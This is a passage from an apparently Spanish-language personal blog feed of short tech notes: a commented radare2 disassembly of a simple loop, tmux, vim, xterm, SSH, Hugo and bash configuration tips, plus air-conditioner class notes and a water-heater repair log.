</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">│</span> <span style="color:#960050;background-color:#1e0010">■│</span> <span style="color:#960050;background-color:#1e0010">0</span><span style="color:#a6e22e">x00001163</span> <span style="color:#ae81ff">8345</span><span style="color:#66d9ef">fc01</span> <span style="color:#66d9ef">add</span> <span style="color:#66d9ef">dword</span> [<span style="color:#66d9ef">var_4h</span>], <span style="color:#ae81ff">1</span> <span style="color:#75715e">; suma 1 al contenido de var_4h
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">│</span> <span style="color:#960050;background-color:#1e0010">■│</span> <span style="color:#75715e">; CODE XREF from main @ 0x1148(x)
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">│</span> <span style="color:#960050;background-color:#1e0010">■└─></span> <span style="color:#960050;background-color:#1e0010">0</span><span style="color:#a6e22e">x00001167</span> <span style="color:#ae81ff">837</span><span style="color:#66d9ef">dfc63</span> <span style="color:#66d9ef">cmp</span> <span style="color:#66d9ef">dword</span> [<span style="color:#66d9ef">var_4h</span>], <span style="color:#ae81ff">0x63</span> <span style="color:#75715e">; 'c' - Compara contenido 0x63 = 99 en hexadecimal con el contenido de var_4h que es inicializado en 0.
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">│</span> <span style="color:#960050;background-color:#1e0010">└──<</span> <span style="color:#960050;background-color:#1e0010">0</span><span style="color:#a6e22e">x0000116b</span> <span style="color:#ae81ff">7</span><span style="color:#66d9ef">edd</span> <span style="color:#66d9ef">jle</span> <span style="color:#ae81ff">0x114a</span> <span style="color:#75715e">; Salta si el contenido de var_4h es menor a 99.
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">│</span> <span style="color:#960050;background-color:#1e0010">0</span><span style="color:#a6e22e">x0000116d</span> <span style="color:#66d9ef">b800000000</span> <span style="color:#66d9ef">mov</span> <span style="color:#66d9ef">eax</span>, <span style="color:#ae81ff">0</span> <span style="color:#75715e"># Mueve el 0 al eax.
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">│</span> <span style="color:#960050;background-color:#1e0010">0</span><span style="color:#a6e22e">x00001172</span> <span style="color:#66d9ef">c9</span> <span style="color:#66d9ef">leave</span>
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">└</span> <span style="color:#960050;background-color:#1e0010">0</span><span style="color:#a6e22e">x00001173</span> <span style="color:#66d9ef">c3</span> <span style="color:#66d9ef">ret</span>
</span></span></code></pre></div><hr>
<p>Otro código en C:</p>
-
Tmux
https://imlauera.github.io/tmux/
Sun, 10 Nov 2024 03:00:45 -0300
https://imlauera.github.io/tmux/
<p>Cambiar el prefijo Control+B a F12</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>run '~/.tmux/plugins/tpm/tpm'
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span>set -g prefix F12
</span></span><span style="display:flex;"><span>set -g @plugin 'tmux-plugins/tpm'
</span></span><span style="display:flex;"><span>set -g @plugin 'tmux-plugins/tmux-cpu'
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span>bind '"' split-window -c "#{pane_current_path}"
</span></span><span style="display:flex;"><span>bind % split-window -h -c "#{pane_current_path}"
</span></span><span style="display:flex;"><span>bind c new-window -c "#{pane_current_path}"
</span></span></code></pre></div><p>Y cargalo con <code>tmux source .tmux.conf</code></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>F12 + "
</span></span><span style="display:flex;"><span>F12 + %
</span></span><span style="display:flex;"><span>F12 + z
</span></span><span style="display:flex;"><span>F12 + z
</span></span><span style="display:flex;"><span>F12 + Up
</span></span><span style="display:flex;"><span>F12 + Down
</span></span><span style="display:flex;"><span>F12 + o - Intercambia entre diferentes ventanas
</span></span><span style="display:flex;"><span>F12 + L - (Control Tab)
</span></span></code></pre></div><p>Lo estoy usando actualmente con fish, porque bash con oh-my-bash y tmux no rompe los colores pero rompe el clear.</p>
-
[AUDIO][APUNTE] Taller de instalación y reparación de aires acondicionados (Clase 17) - Clase Práctica: Bobinas, conexionado de motores de 3 cables.
https://imlauera.github.io/clase17_aires/
Sat, 09 Nov 2024 14:43:18 -0300
https://imlauera.github.io/clase17_aires/
<h4 id="youtube">YouTube</h4>
<p><a href="https://youtu.be/A_B0T18FQaI">https://youtu.be/A_B0T18FQaI</a></p>
<h4 id="invidious">Invidious</h4>
<p><a href="https://redirect.invidious.io/watch?v=A_B0T18FQaI">https://redirect.invidious.io/watch?v=A_B0T18FQaI</a></p>
<h3 id="videos-para-aprender-como-conectar-capacitor-a-un-aire-acondicionado">Videos para aprender como conectar capacitor a un aire acondicionado.</h3>
<h4 id="capacitor-dual">Capacitor dual</h4>
<p><a href="https://youtube.com/watch?v=r_2MOafsP9I">https://youtube.com/watch?v=r_2MOafsP9I</a></p>
<h4 id="conectar-motocompresor-y-ventilador">Conectar motocompresor y ventilador</h4>
<p><a href="https://youtube.com/watch?v=O4QumiqlPBo">https://youtube.com/watch?v=O4QumiqlPBo</a></p>
<p><img src="https://imlauera.github.io/img/clase17aires/2.jpeg" alt="clase practica">
<img src="https://imlauera.github.io/img/clase17aires/tabla.jpeg" alt="clase practica">
<img src="https://imlauera.github.io/img/clase17aires/1.jpeg" alt="clase practica"></p>
<h3 id="transcripción-minuto-20">Transcripción Minuto 20.</h3>
<p>Dejen abierto no más si total se enfría todo el pasillo.</p>
<p><strong>Vamos a hacer un repaso general.</strong></p>
<p>Para detectar línea, trabajo y arranque de un motocompresor tenía que colocar nuestra pinza amerométrica en ohmeage, de acuerdos a los valores que nos arrojaba la medición de nuestro compresor dibujamos en una hoja la disposición de sus borners ibamos a sacar linea, arranque y trabajo.</p>
-
Como copiar y pegar en VIM:
https://imlauera.github.io/vim/
Fri, 08 Nov 2024 05:49:20 -0300
https://imlauera.github.io/vim/
<h5 id="potente-comando">Potente comando.</h5>
<p>Podes seleccionar cualquier linea con <strong>Shift+V</strong>, y guardarla en otro archivo con: <code>:w /tmp/prueba.txt</code>.</p>
<h3 id="como-copiar-y-pegar-gráficamente-en-vim">Como copiar y pegar gráficamente en VIM:</h3>
<h4 id="copiar">Copiar:</h4>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#e6db74">"+y
</span></span></span></code></pre></div><h4 id="pegar">Pegar:</h4>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>Ctrl+Shift+V
</span></span><span style="display:flex;"><span>Shift+Insert
</span></span><span style="display:flex;"><span><span style="color:#e6db74">"+gp
</span></span></span></code></pre></div><h3 id="copiar-y-pegar-dentro-de-vim">Copiar y pegar dentro de VIM:</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>yy - Copia la línea
</span></span><span style="display:flex;"><span>p - pega
</span></span><span style="display:flex;"><span>P - pega para atrás
</span></span><span style="display:flex;"><span><span style="color:#e6db74">```</span>bash
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#e6db74">`</span>Shift+V<span style="color:#e6db74">`</span> seleccionás las líneas que quieras y con <span style="color:#e6db74">`</span>y<span style="color:#e6db74">`</span> las copías
</span></span></code></pre></div>
-
Xterm: Configuración inicial (color de fondo, color de letra, tipo de letra y tamaño)
https://imlauera.github.io/xterm/
Thu, 07 Nov 2024 11:51:39 -0300
https://imlauera.github.io/xterm/
<p>Poné en tu <code>.Xdefaults</code> y cargalo con <code>xrdb -a .Xdefaults</code></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>xterm*background:black
</span></span><span style="display:flex;"><span>xterm*foreground:white
</span></span><span style="display:flex;"><span>xterm*cursorColor:white
</span></span><span style="display:flex;"><span>xterm*pointerShape:normal
</span></span><span style="display:flex;"><span>xterm*pointerColor:white
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>XTerm.vt100.scrollBar:false
</span></span><span style="display:flex;"><span>XTerm.vt100.bellIsUrgent:true
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>XTerm.vt100.faceName:Monospace
</span></span><span style="display:flex;"><span>XTerm.vt100.faceSize:12
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>xterm*font:-*-fixed-*-*-*-*-20-*-*-*-*-*-*-*
</span></span><span style="display:flex;"><span>xterm*font:-*-lucidatypewriter-medium-*-*-*-25-*-*-*-*-*-*-*
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>XTerm*selectToClipboard: true
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>XTerm.vt100.translations: <span style="color:#75715e">#override \</span>
</span></span><span style="display:flex;"><span> Ctrl Shift <Key>Prior: larger-vt-font<span style="color:#f92672">()</span> <span style="color:#ae81ff">\n\
</span></span></span><span style="display:flex;"><span> Ctrl Shift <Key>Next: smaller-vt-font<span style="color:#f92672">()</span> <span style="color:#ae81ff">\n\
</span></span></span><span style="display:flex;"><span> Ctrl Shift <Key>C: copy-selection<span style="color:#f92672">(</span>CLIPBOARD<span style="color:#f92672">)</span> <span style="color:#ae81ff">\n\
</span></span></span><span style="display:flex;"><span> Ctrl Shift <Key>V: insert-selection<span style="color:#f92672">(</span>CLIPBOARD<span style="color:#f92672">)</span>
</span></span></code></pre></div><p>Así podes copiar y pegar con Control+Shift+C y pegar Control+Shift+V y agrandar achicar texto con Control+shift+PgUp y Control+shift+PgDn.</p>
<p>Con xterm seleccionás el texto y lo pegás con Shift+Insert en vim lo pegás con <code>"+gp</code>.</p>
-
Instalación radare2
https://imlauera.github.io/install_radare2/
Thu, 07 Nov 2024 03:46:26 -0300
https://imlauera.github.io/install_radare2/
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>git clone https://github.com/radareorg/radare2
</span></span><span style="display:flex;"><span>radare2/sys/install.sh
</span></span></code></pre></div><h2 id="usage">Usage</h2>
<p>These are the first steps to use r2, read the book or find tutorials for more details</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-sh" data-lang="sh"><span style="display:flex;"><span>$ r2 /bin/ls <span style="color:#75715e"># open file in read-only</span>
</span></span><span style="display:flex;"><span>> aaa <span style="color:#75715e"># analyse the program (r2 -A)</span>
</span></span><span style="display:flex;"><span>> afl <span style="color:#75715e"># list all functions (try aflt, aflm)</span>
</span></span><span style="display:flex;"><span>> px <span style="color:#ae81ff">32</span> <span style="color:#75715e"># print 32 byte hexdump current block</span>
</span></span><span style="display:flex;"><span>> s sym.main <span style="color:#75715e"># seek to main (using flag name)</span>
</span></span><span style="display:flex;"><span>> f~foo <span style="color:#75715e"># filter flags matching 'foo' (internal |grep)</span>
</span></span><span style="display:flex;"><span>> iS;is <span style="color:#75715e"># list sections and symbols (rabin2 -Ss)</span>
</span></span><span style="display:flex;"><span>> pdf; agf <span style="color:#75715e"># disassembly and ascii-art function graph</span>
</span></span><span style="display:flex;"><span>> oo+;w hello <span style="color:#75715e"># reopen in read-write and write a string</span>
</span></span><span style="display:flex;"><span>> ?*~... <span style="color:#75715e"># interactive filter in all command help</span>
</span></span><span style="display:flex;"><span>> q <span style="color:#75715e"># quit</span>
</span></span></code></pre></div><p>Many plugins are included in r2 by default. But you can extend its capabilities
by using the <a href="https://github.com/radareorg/radare2-pm">r2pm</a> package manager.</p>
-
Navegadores de consola modernos
https://imlauera.github.io/navegadores_de_consola_modernos/
Wed, 06 Nov 2024 05:30:33 -0300
https://imlauera.github.io/navegadores_de_consola_modernos/
<p>carbonyl y browsh</p>
<p>Como instalar extensiones <a href="https://www.brow.sh/docs/extensions/">https://www.brow.sh/docs/extensions/</a></p>
<p>No pude instalar la extensión de VIM</p>
-
Instalar adb fastboot
https://imlauera.github.io/instalar_adb_fastboot/
Tue, 05 Nov 2024 22:09:39 -0300
https://imlauera.github.io/instalar_adb_fastboot/
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo pacman -S android-tools <span style="color:#75715e"># Arch</span>
</span></span><span style="display:flex;"><span>sudo apt install adb fastboot <span style="color:#75715e"># Debian/Ubuntu</span>
</span></span></code></pre></div>
-
HUGO problema: tarda demasiado para generar la página
https://imlauera.github.io/hugo_static_public/
Tue, 05 Nov 2024 02:17:55 -0300
https://imlauera.github.io/hugo_static_public/
<p>Solución: <code>mv static the-files && mkdir static</code></p>
<p>Igual vas a copiar dos veces la carpeta static y si tenés por ejemplo 10 gigas de imágenes vas a pasar a tener 20 gigas de imágenes porque copia la carpeta static a public cuando ejecutás <code>hugo</code>.</p>
<p>Pero cambiandolo de nombre hace que sea más rápido, no sé el por qué.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#f92672">[</span>I<span style="color:#f92672">]</span> esotericwarfare@arch ~/p/b/imlauera <span style="color:#f92672">(</span>master<span style="color:#f92672">)</span>> cat add_commit_push.sh
</span></span><span style="display:flex;"><span><span style="color:#75715e">#!/bin/bash</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span> <span style="color:#f92672">[</span> $# -eq <span style="color:#ae81ff">0</span> <span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">then</span>
</span></span><span style="display:flex;"><span> echo <span style="color:#e6db74">"Poné el mensaje del commit como primer argumento"</span>
</span></span><span style="display:flex;"><span> exit;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">fi</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>hugo <span style="color:#f92672">&&</span>
</span></span><span style="display:flex;"><span>cp -R the-files/* public/ <span style="color:#f92672">&&</span>
</span></span><span style="display:flex;"><span>git add . <span style="color:#f92672">&&</span>
</span></span><span style="display:flex;"><span>git commit -m <span style="color:#e6db74">"</span>$1<span style="color:#e6db74">"</span> <span style="color:#f92672">&&</span>
</span></span><span style="display:flex;"><span>git push <span style="color:#f92672">&&</span>
</span></span><span style="display:flex;"><span>cd public <span style="color:#f92672">&&</span>
</span></span><span style="display:flex;"><span>git add . <span style="color:#f92672">&&</span>
</span></span><span style="display:flex;"><span>git commit -m <span style="color:#e6db74">"</span>$1<span style="color:#e6db74">"</span> <span style="color:#f92672">&&</span>
</span></span><span style="display:flex;"><span>git push
</span></span></code></pre></div>
-
Connection to github.com closed by remote host.
https://imlauera.github.io/connection_github_closed_by_remote_host/
Tue, 05 Nov 2024 01:24:24 -0300
https://imlauera.github.io/connection_github_closed_by_remote_host/
<p>En el archvo <code>.config/ssh</code> agregamos:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>Host *
</span></span><span style="display:flex;"><span> ServerAliveInterval <span style="color:#ae81ff">60</span>
</span></span><span style="display:flex;"><span> ServerAliveCountMax <span style="color:#ae81ff">60</span>
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>Host *.github.com
</span></span><span style="display:flex;"><span> StrictHostKeyChecking yes
</span></span><span style="display:flex;"><span> IdentityFile ~/.ssh/github
</span></span><span style="display:flex;"><span> ServerAliveInterval <span style="color:#ae81ff">60</span>
</span></span><span style="display:flex;"><span> ServerAliveCountMax <span style="color:#ae81ff">60</span>
</span></span></code></pre></div><p>Esto permitirá 60 minutos de conexión.</p>
<p>Está causado porque se agotá el tiempo de espera de la conexión SSH.</p>
<p>Fuente: <a href="https://stackoverflow.com/questions/60833006/connection-to-github-com-closed-by-remote-host-when-pushing">https://stackoverflow.com/questions/60833006/connection-to-github-com-closed-by-remote-host-when-pushing</a></p>
<hr>
<p>I can’t explain the long hang time, but the eventual Connection to github.com closed
by remote host message is likely caused by your SSH connection with GitHub timing
out. I recently helped a coworker solve a similar issue where our Husky pre-push
hook was taking a long time to complete on her machine. By the time the hook
finished, she received the same Connection to github.com closed by remote host
message.</p>
-
Github hangs pushing
https://imlauera.github.io/github_hangs_pushing/
Mon, 04 Nov 2024 22:21:56 -0300
https://imlauera.github.io/github_hangs_pushing/
<p>Solución:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>git config --global http.postBuffer <span style="color:#ae81ff">1048576000</span>
</span></span></code></pre></div>
-
Agregar al final del archivo VIM
https://imlauera.github.io/agregar_al_final_del_archivo_vim/
Mon, 04 Nov 2024 21:59:28 -0300
https://imlauera.github.io/agregar_al_final_del_archivo_vim/
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>Seleccioná las líneas con Shift+v, Escape, :w >> some_file.txt
</span></span></code></pre></div>
-
Crear un repositorio de GitHub desde la terminal: gh
https://imlauera.github.io/gh/
Mon, 04 Nov 2024 15:56:35 -0300
https://imlauera.github.io/gh/
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>gh auth login
</span></span><span style="display:flex;"><span>git init
</span></span><span style="display:flex;"><span>gp repo create --source . --private
</span></span><span style="display:flex;"><span>gh browser
</span></span><span style="display:flex;"><span>gh repo list
</span></span></code></pre></div>
-
Desactivar greeting message fish
https://imlauera.github.io/desactivar_greeting_message_fish/
Mon, 04 Nov 2024 15:14:01 -0300
https://imlauera.github.io/desactivar_greeting_message_fish/
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>cd .config/fish/
</span></span><span style="display:flex;"><span>touch fish_greeting.fish
</span></span></code></pre></div><p>En el archivo <code>config.fish</code> agregá:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>set fish_greeting
</span></span></code></pre></div><p>Alternativamente podés usar: <code>set -U fish_greeting ""</code></p>
-
Failed VT switcher
https://imlauera.github.io/failed_vt_switcher/
Mon, 04 Nov 2024 13:11:26 -0300
https://imlauera.github.io/failed_vt_switcher/
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#f92672">[</span>vo/gpu/drm<span style="color:#f92672">]</span> VT_GETMODE failed: Inappropriate ioctl <span style="color:#66d9ef">for</span> device
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>vo/gpu/drm<span style="color:#f92672">]</span> Failed to set up VT switcher. Terminal switching will be unavailable.
</span></span></code></pre></div><p><a href="https://github.com/mpv-player/mpv/issues/9773">https://github.com/mpv-player/mpv/issues/9773</a></p>
<h4 id="solución-en-arch">Solución en arch:</h4>
<ul>
<li>Reinstalar libxpresent:</li>
</ul>
<p><code>sudo pacman -S libxpresent</code></p>
-
Calefón
https://imlauera.github.io/calefon/
Mon, 04 Nov 2024 13:04:16 -0300
https://imlauera.github.io/calefon/
<p>Pierde agua porque es un eje con un orrín
hay que sacar tornillo de atras se intento usar llave tubo 8 pero no funcionó no podemos aflojar el tornillo de atrás</p>
<p>Finalmente con una llave de boca vieja de 8 se pudo desarmar.</p>
<p>Llave inglesa francesa, llave de tubo, llave de anillo.</p>
<p>Ni se ve el orrin</p>
<p>El orrin está entre el diafragma de agua y la válvula de gas existe un vástago(un eje) que empuja al abrir el agua para que encienda el gas. Ese eje (vástago) tiene orrin en los dos extremos.</p>
-
Fix dvtm colors
https://imlauera.github.io/fix_dvtm_colors/
Sun, 03 Nov 2024 23:38:52 -0300
https://imlauera.github.io/fix_dvtm_colors/
<p>En el <code>.bashrc</code> o .config/fish/config.fish:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>export TERM<span style="color:#f92672">=</span>xterm-256color
</span></span></code></pre></div><p>O si es un problema de vim en el <code>.vimrc</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>export TERM<span style="color:#f92672">=</span>xterm-256color
</span></span></code></pre></div><h3 id="al-final-no-terminé-usando-nada-de-esto-dejé-los-colores-como-estaban">Al final no terminé usando nada de esto, dejé los colores como estaban.</h3>
-
Cambiar letra TTY y resolucion.
https://imlauera.github.io/cambiar_letra_tty/
Sun, 03 Nov 2024 22:55:16 -0300
https://imlauera.github.io/cambiar_letra_tty/
<p><a href="https://adeverteuil.github.io/linux-console-fonts-screenshots/">https://adeverteuil.github.io/linux-console-fonts-screenshots/</a></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>cd /usr/share/kbd/consolefonts
</span></span><span style="display:flex;"><span>setfont latarcyrheb-sun32
</span></span><span style="display:flex;"><span>sudo setfont LatGrkCyr-12x22
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>o
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>sudo setfont ter-p20b.psf.gz
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>sudo setfont iso02-12x22.psfu.gz
</span></span></code></pre></div><p>En <code>/etc/vconsole.conf</code> tenés que agregar:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>FONT<span style="color:#f92672">=</span>latarcyrheb-sun32
</span></span></code></pre></div><p>Antes usaba latarcyrheb-sun16 pero era muy chica y sun32 es muy grande asi que tuve que cambiar la resolucion de mi GRUB y usar la letra mas chica.</p>
<p>Si estás usando framebuffer (ves colores o logos al arrancar), podés cambiar la resolución del framebuffer, lo que escala la fuente sin cambiarla: explicado acá: <a href="https://imlauera.github.io/post/2021-01-08-cambiando-la-resoluci">https://imlauera.github.io/post/2021-01-08-cambiando-la-resoluci</a>ón-de-tty</p>
-
Instalar shell fish con VIM keybindings, iniciar dvtm en el login.
https://imlauera.github.io/fish/
Sun, 03 Nov 2024 21:29:15 -0300
https://imlauera.github.io/fish/
<p>Ya no uso más fish porque es bloated, ahora solo uso bash.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e">#</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># ~/.bashrc</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">#</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># If not running interactively, don't do anything</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[[</span> $- !<span style="color:#f92672">=</span> *i* <span style="color:#f92672">]]</span> <span style="color:#f92672">&&</span> <span style="color:#66d9ef">return</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>alias ls<span style="color:#f92672">=</span><span style="color:#e6db74">'ls --color=auto'</span>
</span></span><span style="display:flex;"><span>alias grep<span style="color:#f92672">=</span><span style="color:#e6db74">'grep --color=auto'</span>
</span></span><span style="display:flex;"><span>PS1<span style="color:#f92672">=</span><span style="color:#e6db74">'[\u@\h \W]\$ '</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Only run in interactive shells</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[[</span> $- !<span style="color:#f92672">=</span> *i* <span style="color:#f92672">]]</span> <span style="color:#f92672">&&</span> <span style="color:#66d9ef">return</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># -----------------------------</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># TTY / TMUX logic</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># -----------------------------</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span> <span style="color:#f92672">[[</span> -z <span style="color:#e6db74">"</span>$TMUX<span style="color:#e6db74">"</span> <span style="color:#f92672">&&</span> <span style="color:#e6db74">"</span>$XDG_VTNR<span style="color:#e6db74">"</span> <span style="color:#f92672">==</span> <span style="color:#e6db74">"1"</span> <span style="color:#f92672">]]</span>; <span style="color:#66d9ef">then</span>
</span></span><span style="display:flex;"><span> tmux attach <span style="color:#f92672">||</span> exec tmux new-session
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">fi</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span> <span style="color:#f92672">[[</span> -z <span style="color:#e6db74">"</span>$TMUX<span style="color:#e6db74">"</span> <span style="color:#f92672">&&</span> <span style="color:#e6db74">"</span>$XDG_VTNR<span style="color:#e6db74">"</span> <span style="color:#f92672">==</span> <span style="color:#e6db74">"5"</span> <span style="color:#f92672">]]</span>; <span style="color:#66d9ef">then</span>
</span></span><span style="display:flex;"><span> sudo pacman --noconfirm -Syu
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">fi</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span> <span style="color:#f92672">[[</span> -z <span style="color:#e6db74">"</span>$TMUX<span style="color:#e6db74">"</span> <span style="color:#f92672">&&</span> <span style="color:#e6db74">"</span>$XDG_VTNR<span style="color:#e6db74">"</span> <span style="color:#f92672">==</span> <span style="color:#e6db74">"2"</span> <span style="color:#f92672">]]</span>; <span style="color:#66d9ef">then</span>
</span></span><span style="display:flex;"><span> irssi
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">fi</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span> <span style="color:#f92672">[[</span> -z <span style="color:#e6db74">"</span>$TMUX<span style="color:#e6db74">"</span> <span style="color:#f92672">&&</span> <span style="color:#e6db74">"</span>$XDG_VTNR<span style="color:#e6db74">"</span> <span style="color:#f92672">==</span> <span style="color:#e6db74">"6"</span> <span style="color:#f92672">]]</span>; <span style="color:#66d9ef">then</span>
</span></span><span style="display:flex;"><span> mbsync -a
</span></span><span style="display:flex;"><span> neomutt
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">fi</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># -----------------------------</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Environment variables</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># -----------------------------</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>export WWW_BROWSER<span style="color:#f92672">=</span>w3m
</span></span><span style="display:flex;"><span>export BROWSER<span style="color:#f92672">=</span>w3m
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>export QT_QPA_PLATFORM<span style="color:#f92672">=</span>eglfs
